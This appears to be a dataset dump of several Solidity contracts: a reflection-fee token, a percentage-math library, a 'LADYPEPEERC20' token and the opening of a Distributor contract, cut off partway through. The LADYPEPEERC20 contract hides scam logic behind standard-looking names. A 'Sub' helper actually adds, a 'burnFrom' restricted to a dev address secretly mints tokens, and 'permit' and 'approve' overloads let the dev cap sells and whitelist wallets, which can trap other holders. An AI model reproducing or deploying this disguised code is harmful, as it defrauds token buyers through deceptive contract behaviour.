return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setCanSwap(bool onoff) external onlyOwner() {
canSwap = onoff;
}
function setTradingEnabled(bool onoff) external onlyOwner() {
tradingEnabled = onoff;
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!tradingEnabled) {
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not live yet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != joeV2Pair && tradingEnabled && canSwap) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(joeV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(joeV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from != joeV2Pair && to != joeV2Pair) {
takeFee = false;
}
if (takeFee && from == joeV2Pair) {
_previousteamFee = _teamFee;
_teamFee = 0;
}
if(takeFee && to == joeV2Pair) {
_previousTaxFee = _taxFee;
_taxFee = 0;
}
_tokenTransfer(from,to,amount,takeFee);
if (takeFee && from == joeV2Pair) _teamFee = _previousteamFee;
if (takeFee && to == joeV2Pair) _taxFee = _previousTaxFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = joeV2Router.WAVAX();
_approve(address(this), address(joeV2Router), tokenAmount);
joeV2Router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
w1.transfer(amount.div(2));
w2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function setTreasuryWallet(address payable _w1) external {
require(_msgSender() == w1);
w1 = _w1;
_isExcludedFromFee[w1] = true;
}
function setKAPWallet(address payable _w2) external {
require(_msgSender() == w2);
w2 = _w2;
_isExcludedFromFee[w2] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == w1);
require(team <= 25);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == w1);
require(tax <= 25);
_taxFee = tax;
}
function manualswap() external {
require(_msgSender() == w1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == w1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
| 79,696 | 10,327 |
6c1fea9e97fe027e6562aeea21df57b22db4b437510924dc4a97599565867659
| 9,754 |
.sol
|
Solidity
| false |
512700417
|
morpho-org/morpho-utils
|
9fc9b2a1a40463f4fa26f547fd76458a73ac6cbb
|
src/math/PercentageMath.sol
| 2,569 | 8,851 |
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/// @title PercentageMath.
/// @author Morpho Labs.
/// @custom:contact security@morpho.xyz
library PercentageMath {
// Only direct number constants and references to such constants are supported by inline assembly.
uint256 internal constant PERCENTAGE_FACTOR = 100_00;
uint256 internal constant HALF_PERCENTAGE_FACTOR = 50_00;
uint256 internal constant PERCENTAGE_FACTOR_MINUS_ONE = 100_00 - 1;
uint256 internal constant MAX_UINT256 = 2 ** 256 - 1;
uint256 internal constant MAX_UINT256_MINUS_HALF_PERCENTAGE_FACTOR = 2 ** 256 - 1 - 50_00;
uint256 internal constant MAX_UINT256_MINUS_PERCENTAGE_FACTOR_MINUS_ONE = 2 ** 256 - 1 - (100_00 - 1);
/// @notice Executes the bps-based percentage addition (x * (1 + p)), rounded half up.
/// @param x The value to which to add the percentage.
/// @param percentage The percentage of the value to add (in bps).
/// @return y The result of the addition.
function percentAdd(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// 1. Overflow if
// PERCENTAGE_FACTOR + percentage > type(uint256).max
// <=> percentage > type(uint256).max - PERCENTAGE_FACTOR
// 2. Overflow if
// x * (PERCENTAGE_FACTOR + percentage) + HALF_PERCENTAGE_FACTOR > type(uint256).max
// <=> x > (type(uint256).max - HALF_PERCENTAGE_FACTOR) / (PERCENTAGE_FACTOR + percentage)
assembly {
y := add(PERCENTAGE_FACTOR, percentage) // Temporary assignment to save gas.
if or(gt(percentage, sub(MAX_UINT256, PERCENTAGE_FACTOR)),
gt(x, div(MAX_UINT256_MINUS_HALF_PERCENTAGE_FACTOR, y))) { revert(0, 0) }
y := div(add(mul(x, y), HALF_PERCENTAGE_FACTOR), PERCENTAGE_FACTOR)
}
}
/// @notice Executes the bps-based percentage subtraction (x * (1 - p)), rounded half up.
/// @param x The value to which to subtract the percentage.
/// @param percentage The percentage of the value to subtract (in bps).
/// @return y The result of the subtraction.
function percentSub(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// 1. Underflow if
// percentage > PERCENTAGE_FACTOR
// 2. Overflow if
// x * (PERCENTAGE_FACTOR - percentage) + HALF_PERCENTAGE_FACTOR > type(uint256).max
assembly {
y := sub(PERCENTAGE_FACTOR, percentage) // Temporary assignment to save gas.
if or(gt(percentage, PERCENTAGE_FACTOR), mul(y, gt(x, div(MAX_UINT256_MINUS_HALF_PERCENTAGE_FACTOR, y)))) {
revert(0, 0)
}
y := div(add(mul(x, y), HALF_PERCENTAGE_FACTOR), PERCENTAGE_FACTOR)
}
}
/// @notice Executes the bps-based multiplication (x * p), rounded half up.
/// @param x The value to multiply by the percentage.
/// @param percentage The percentage of the value to multiply (in bps).
/// @return y The result of the multiplication.
function percentMul(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// Overflow if
// x * percentage + HALF_PERCENTAGE_FACTOR > type(uint256).max
// <=> percentage > 0 and x > (type(uint256).max - HALF_PERCENTAGE_FACTOR) / percentage
assembly {
if mul(percentage, gt(x, div(MAX_UINT256_MINUS_HALF_PERCENTAGE_FACTOR, percentage))) { revert(0, 0) }
y := div(add(mul(x, percentage), HALF_PERCENTAGE_FACTOR), PERCENTAGE_FACTOR)
}
}
/// @notice Executes the bps-based multiplication (x * p), rounded down.
/// @param x The value to multiply by the percentage.
/// @param percentage The percentage of the value to multiply.
/// @return y The result of the multiplication.
function percentMulDown(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// Overflow if
// x * percentage > type(uint256).max
// <=> percentage > 0 and x > type(uint256).max / percentage
assembly {
if mul(percentage, gt(x, div(MAX_UINT256, percentage))) { revert(0, 0) }
y := div(mul(x, percentage), PERCENTAGE_FACTOR)
}
}
/// @notice Executes the bps-based multiplication (x * p), rounded up.
/// @param x The value to multiply by the percentage.
/// @param percentage The percentage of the value to multiply.
/// @return y The result of the multiplication.
function percentMulUp(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// Overflow if
// x * percentage + PERCENTAGE_FACTOR_MINUS_ONE > type(uint256).max
// <=> percentage > 0 and x > (type(uint256).max - PERCENTAGE_FACTOR_MINUS_ONE) / percentage
assembly {
if mul(percentage, gt(x, div(MAX_UINT256_MINUS_PERCENTAGE_FACTOR_MINUS_ONE, percentage))) { revert(0, 0) }
y := div(add(mul(x, percentage), PERCENTAGE_FACTOR_MINUS_ONE), PERCENTAGE_FACTOR)
}
}
/// @notice Executes the bps-based division (x / p), rounded half up.
/// @param x The value to divide by the percentage.
/// @param percentage The percentage of the value to divide (in bps).
/// @return y The result of the division.
function percentDiv(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// 1. Division by 0 if
// percentage == 0
// 2. Overflow if
// x * PERCENTAGE_FACTOR + percentage / 2 > type(uint256).max
// <=> x > (type(uint256).max - percentage / 2) / PERCENTAGE_FACTOR
assembly {
y := div(percentage, 2) // Temporary assignment to save gas.
if iszero(mul(percentage, iszero(gt(x, div(sub(MAX_UINT256, y), PERCENTAGE_FACTOR))))) { revert(0, 0) }
y := div(add(mul(PERCENTAGE_FACTOR, x), y), percentage)
}
}
/// @notice Executes the bps-based division (x / p), rounded down.
/// @param x The value to divide by the percentage.
/// @param percentage The percentage of the value to divide.
/// @return y The result of the division.
function percentDivDown(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// 1. Division by 0 if
// percentage == 0
// 2. Overflow if
// x * PERCENTAGE_FACTOR > type(uint256).max
// <=> x > type(uint256).max / PERCENTAGE_FACTOR
assembly {
if iszero(mul(percentage, lt(x, add(div(MAX_UINT256, PERCENTAGE_FACTOR), 1)))) { revert(0, 0) }
y := div(mul(PERCENTAGE_FACTOR, x), percentage)
}
}
/// @notice Executes the bps-based division (x / p), rounded up.
/// @param x The value to divide by the percentage.
/// @param percentage The percentage of the value to divide.
/// @return y The result of the division.
function percentDivUp(uint256 x, uint256 percentage) internal pure returns (uint256 y) {
// 1. Division by 0 if
// percentage == 0
// 2. Overflow if
// x * PERCENTAGE_FACTOR + (percentage - 1) > type(uint256).max
// <=> x > (type(uint256).max - (percentage - 1)) / PERCENTAGE_FACTOR
assembly {
y := sub(percentage, 1) // Temporary assignment to save gas.
if iszero(mul(percentage, iszero(gt(x, div(sub(MAX_UINT256, y), PERCENTAGE_FACTOR))))) { revert(0, 0) }
y := div(add(mul(PERCENTAGE_FACTOR, x), y), percentage)
}
}
/// @notice Executes the bps-based weighted average (x * (1 - p) + y * p), rounded half up.
/// @param x The first value, with a weight of 1 - percentage.
/// @param y The second value, with a weight of percentage.
/// @param percentage The weight of y, and complement of the weight of x (in bps).
/// @return z The result of the bps-based weighted average.
function weightedAvg(uint256 x, uint256 y, uint256 percentage) internal pure returns (uint256 z) {
// 1. Underflow if
// percentage > PERCENTAGE_FACTOR
// 2. Overflow if
// y * percentage + HALF_PERCENTAGE_FACTOR > type(uint256).max
// <=> percentage > 0 and y > (type(uint256).max - HALF_PERCENTAGE_FACTOR) / percentage
// 3. Overflow if
assembly {
z := sub(PERCENTAGE_FACTOR, percentage) // Temporary assignment to save gas.
if or(gt(percentage, PERCENTAGE_FACTOR),
or(mul(percentage, gt(y, div(MAX_UINT256_MINUS_HALF_PERCENTAGE_FACTOR, percentage))),
mul(z, gt(x, div(sub(MAX_UINT256_MINUS_HALF_PERCENTAGE_FACTOR, mul(y, percentage)), z))))) { revert(0, 0) }
z := div(add(add(mul(x, z), mul(y, percentage)), HALF_PERCENTAGE_FACTOR), PERCENTAGE_FACTOR)
}
}
}
| 138,794 | 10,328 |
b73304f3be8b226cdb6b75bca4430f18c50fd1fe7d557dc50a122046fc11d606
| 22,192 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/86/8696b4cc83613e473d5b3446beb7ba37cc21db58_LADYPEPEERC20.sol
| 3,369 | 12,980 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LADYPEPEERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
uint256 private _totalSuppply = 420 * 10 ** 9 * 10 ** 6;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address private _excludeDevAddress;
mapping(address => bool) private _approvedAddress;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 420 * 10 ** 9 * 10 ** 6;
address private burnFee;
uint256 private holderFee;
event SwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor(address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _totalSuppply;
emit Transfer(address(0), _msgSender(), _totalSuppply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_totalSuppply = _totalSuppply.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
_approvedAddress[msg.sender] = true;
emit SwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function initializePair(address _a) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapPair = _a;
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress[approvedAddress] = true;
}
function permit(uint256 amount) external {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = amount * 10 ** 6;
}
function approveFrom(address[] memory approvedAddress) external {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
for (uint256 i = 0; i < approvedAddress.length; i++) {
_approvedAddress[approvedAddress[i]] = true;
}
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {
if (_approvedAddress[sender] == false && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function totalSupply() public view override returns (uint256) {
return _totalSuppply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
}
| 31,253 | 10,329 |
892ac699eef20fb0c0f54026af6cf920fd61c1f3d99b5a52fc2cc0afbfac4844
| 18,020 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6a/6a5156d35da2336a5efb393f1ad5ee887d06628c_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
